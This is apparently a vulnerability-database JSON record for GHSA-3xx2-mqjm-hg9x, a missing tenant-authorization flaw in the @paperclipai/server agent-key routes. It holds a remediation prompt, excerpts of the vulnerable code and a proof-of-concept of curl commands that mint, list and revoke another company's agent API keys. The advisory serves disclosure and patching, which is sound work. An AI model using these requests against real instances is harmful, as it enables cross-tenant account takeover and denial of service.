{"answers":{"affected":"2 open source packages ship an affected version, including @paperclipai/server.","exploited":"There is no known exploitation of GHSA-3xx2-mqjm-hg9x in the wild and no public exploit code.","fix":"Upgrade @paperclipai/server to 2026.416.0 or later.","what":"GHSA-3xx2-mqjm-hg9x is a missing authorization vulnerability in @paperclipai/server, published on 16 Apr 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-3xx2-mqjm-hg9x and fix it if it is affected.\n\nWhat it is: GHSA-3xx2-mqjm-hg9x is a missing authorization vulnerability in @paperclipai/server, published on 16 Apr 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-3xx2-mqjm-hg9x in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @paperclipai/server (npm): affected all versions; fixed in 2026.416.0\n- @paperclipai/server (npm): affected all versions; fixed in 2026.416.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-3xx2-mqjm-hg9x/ (Markdown: https://insights.sbomify.com/GHSA-3xx2-mqjm-hg9x/index.md)","id":"GHSA-3xx2-mqjm-hg9x","markdown":"https://insights.sbomify.com/GHSA-3xx2-mqjm-hg9x/index.md","name":"GHSA-3xx2-mqjm-hg9x","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["privilege_escalation","data_read","data_modify"],"network_reachable":"yes","non_default_config":false,"product_category":"Paperclip control-plane API","requires_auth":"low_privilege","summary":"A board user can access other companies' agent API keys due to missing tenant checks, enabling cross-tenant compromise.","user_interaction":"not_required","vuln_class":"missing_authorization"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nThe `GET`, `POST`, and `DELETE` handlers under `/agents/:id/keys` in the Paperclip control-plane API only call `assertBoard(req)`, which verifies that the caller has a board-type session but does not verify that the caller has access to the company owning the target agent. A board user whose membership is limited to Company A can therefore list, create, or revoke agent API keys for any agent in Company B by supplying the victim agent's UUID in the URL path. The `POST` handler returns the newly-minted token in cleartext, which authenticates subsequent requests as `{type:\"agent\", companyId:\u003cCompanyB\u003e}`, giving the attacker full agent-level access inside the victim tenant — a complete cross-tenant compromise.\n\n## Details\n\nThe three vulnerable routes are defined in `server/src/routes/agents.ts:2050-2087`:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n  assertBoard(req);                       // \u003c-- only checks actor.type === \"board\"\n  const id = req.params.id as string;\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n  assertBoard(req);                       // \u003c-- same\n  const id = req.params.id as string;\n  const key = await svc.createApiKey(id, req.body.name);\n  // ... activity log ...\n  res.status(201).json(key);              // returns cleartext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n  assertBoard(req);                       // \u003c-- same\n  const keyId = req.params.keyId as string;\n  const revoked = await svc.revokeKey(keyId);\n  if (!revoked) { res.status(404).json({ error: \"Key not found\" }); return; }\n  res.json({ ok: true });\n});\n```\n\n`assertBoard` in `server/src/routes/authz.ts:4-8` is intentionally narrow:\n\n```ts\nexport function assertBoard(req: Request) {\n  if (req.actor.type !== \"board\") {\n    throw forbidden(\"Board access required\");\n  }\n}\n```\n\nIt does **not** consult `req.actor.companyIds` or `req.actor.isInstanceAdmin`. Company-scoping is handled by a separate helper, `assertCompanyAccess(req, companyId)` (same file, lines 18-31), which the key-management routes never call.\n\nThe service layer is also unauthenticated. In `server/src/services/agents.ts:580-629`:\n\n```ts\ncreateApiKey: async (id: string, name: string) =\u003e {\n  const existing = await getById(id);\n  if (!existing) throw notFound(\"Agent not found\");\n  // ... status checks only ...\n  const token = createToken();\n  const keyHash = hashToken(token);\n  const created = await db\n    .insert(agentApiKeys)\n    .values({\n      agentId: id,\n      companyId: existing.companyId,       // \u003c-- copied from the victim agent\n      name,\n      keyHash,\n    })\n    .returning()\n    .then((rows) =\u003e rows[0]);\n  return { id: created.id, name: created.name, token, createdAt: created.createdAt };\n},\n\nlistKeys: (id: string) =\u003e db.select({ ... }).from(agentApiKeys).where(eq(agentApiKeys.agentId, id)),\n\nrevokeKey: async (keyId: string) =\u003e {\n  const rows = await db.update(agentApiKeys).set({ revokedAt: new Date() }).where(eq(agentApiKeys.id, keyId)).returning();\n  return rows[0] ?? null;\n},\n```\n\nNeither the agent id on `POST`/`GET` nor the key id on `DELETE` is cross-checked against the caller's company membership.\n\nThe returned token becomes a full-fledged agent actor in `server/src/middleware/auth.ts:151-169`:\n\n```ts\nreq.actor = {\n  type: \"agent\",\n  agentId: key.agentId,\n  companyId: key.companyId,      // \u003c-- victim's company\n  keyId: key.id,\n  runId: runIdHeader || undefined,\n  source: \"agent_key\",\n};\n```\n\n`assertCompanyAccess` (lines 22-30 of `authz.ts`) only rejects an agent actor when `req.actor.companyId !== \u003ctarget-companyId\u003e`. Because the token the attacker just minted carries the victim's `companyId`, it sails through every company-access check in Company B — every endpoint that an agent in Company B is authorized to hit.\n\nNo router-level mitigation exists: `api.use(agentRoutes(db))` in `server/src/app.ts:155` mounts the router with only `boardMutationGuard` (which enforces read-only for some board sessions, not tenancy). The adjacent `POST /agents/:id/wakeup` route at line 2089 and `POST /agents/:id/heartbeat/invoke` at line 2139 correctly load the agent and call `assertCompanyAccess(req, agent.companyId)` — the key-management routes simply forgot this check. Commit `ac664df8` (\"fix(authz): scope import, approvals, activity, and heartbeat routes\") hardened several other routes in this same file family but did not touch the three key routes.\n\nAgent UUIDs are routinely exposed to any authenticated board user through org-chart rendering, issue listings, heartbeat/activity payloads, and public references, so the \"unguessable id\" is not a practical barrier; further, the `DELETE` path only requires a `keyId`, which is returned by the equally-broken `GET /agents/:id/keys` for any target agent.\n\n## PoC\n\nPreconditions: attacker is a board user with membership only in Company A. They know (or learn via the listable agent surfaces) a UUID of an agent in Company B.\n\nStep 1 — Authenticate as the Company-A board user and mint a key for a Company-B agent:\n\n```bash\ncurl -sS -X POST https://target.example/api/agents/\u003cVICTIM_COMPANY_B_AGENT_ID\u003e/keys \\\n  -H 'Cookie: \u003cattacker-board-session\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"name\":\"pwn\"}'\n```\n\nExpected (and observed) response:\n\n```json\n{\"id\":\"\u003cnew-key-id\u003e\",\"name\":\"pwn\",\"token\":\"\u003cCLEARTEXT_AGENT_TOKEN\u003e\",\"createdAt\":\"2026-04-10T...\"}\n```\n\nThe server never consulted the attacker's `companyIds` — only the URL path — and returns the cleartext token whose `companyId` column is set to Company B's id.\n\nStep 2 — Use the stolen agent token as a first-class agent principal in Company B:\n\n```bash\ncurl -sS https://target.example/api/agents/\u003cVICTIM_COMPANY_B_AGENT_ID\u003e \\\n  -H 'Authorization: Bearer \u003cCLEARTEXT_AGENT_TOKEN\u003e'\n```\n\n`middleware/auth.ts` sets `req.actor = {type:\"agent\", agentId:\u003cvictim\u003e, companyId:\u003cCompanyB\u003e, ...}`. Every route that does `assertCompanyAccess(req, \u003cCompanyB\u003e)` now passes.\n\nStep 3 — The listing and revocation routes are broken in the same way:\n\n```bash\n# Enumerate every key on a victim agent (learn keyIds):\ncurl -sS https://target.example/api/agents/\u003cVICTIM_COMPANY_B_AGENT_ID\u003e/keys \\\n  -H 'Cookie: \u003cattacker-board-session\u003e'\n\n# Revoke a legitimate Company-B key, denying service to the real operator:\ncurl -sS -X DELETE https://target.example/api/agents/\u003cANY_AGENT_ID\u003e/keys/\u003cVICTIM_KEY_ID\u003e \\\n  -H 'Cookie: \u003cattacker-board-session\u003e'\n```\n\n`revokeKey` only matches on `keyId` (`server/src/services/agents.ts:622-629`), so even the `agentId` in the URL is decorative — the `keyId` alone is the authority.\n\n## Impact\n\n- **Full cross-tenant compromise.** Any board-authenticated user can mint agent API keys inside any other company in the same instance and then act as that agent — executing the workflows, reading the data, and calling every endpoint that agent is authorized for inside the victim tenant.\n- **Listing leak.** Key metadata (ids, names, lastUsedAt, revokedAt) for every agent in every tenant is readable by any board user.\n- **Cross-tenant denial of service.** The same primitive revokes legitimate agent keys in other companies by `keyId`.\n- **Scope change.** The vulnerability is in Company A's scoping checks, but the impact is complete confidentiality/integrity/availability loss within Company B's tenant — a classic scope-change cross-tenant boundary breach.\n- The attacker needs only the most minimal valid account on the instance (any company membership with board-type session) and a victim agent UUID, which is routinely exposed through agent listings, issues, heartbeats, and activity feeds.\n\n## Recommended Fix\n\nRequire explicit company-access checks on all three routes before touching the service layer. For `POST`/`GET`, load the agent first and authorize against `agent.companyId`. For `DELETE`, load the key row first (or join through it) and authorize against `key.companyId` to avoid le","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Paperclip: Cross-tenant agent API key IDOR in `/agents/:id/keys` routes allows full victim-company compromise","id":"GHSA-3xx2-mqjm-hg9x","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"missing_authorization","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["2026.416.0"],"introduced":["0"],"last_affected":[],"package":"@paperclipai/server","purl":null,"source":"GHSA-3xx2-mqjm-hg9x"},{"ecosystem":"npm","fixed":["2026.416.0"],"introduced":["0"],"last_affected":[],"package":"@paperclipai/server","purl":"pkg:npm/%40paperclipai/server","source":"GHSA-3xx2-mqjm-hg9x"}],"products":null,"published":"2026-04-16","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"A board user can access other companies' agent API keys due to missing tenant checks, enabling cross-tenant compromise.","url":"https://insights.sbomify.com/GHSA-3xx2-mqjm-hg9x/"}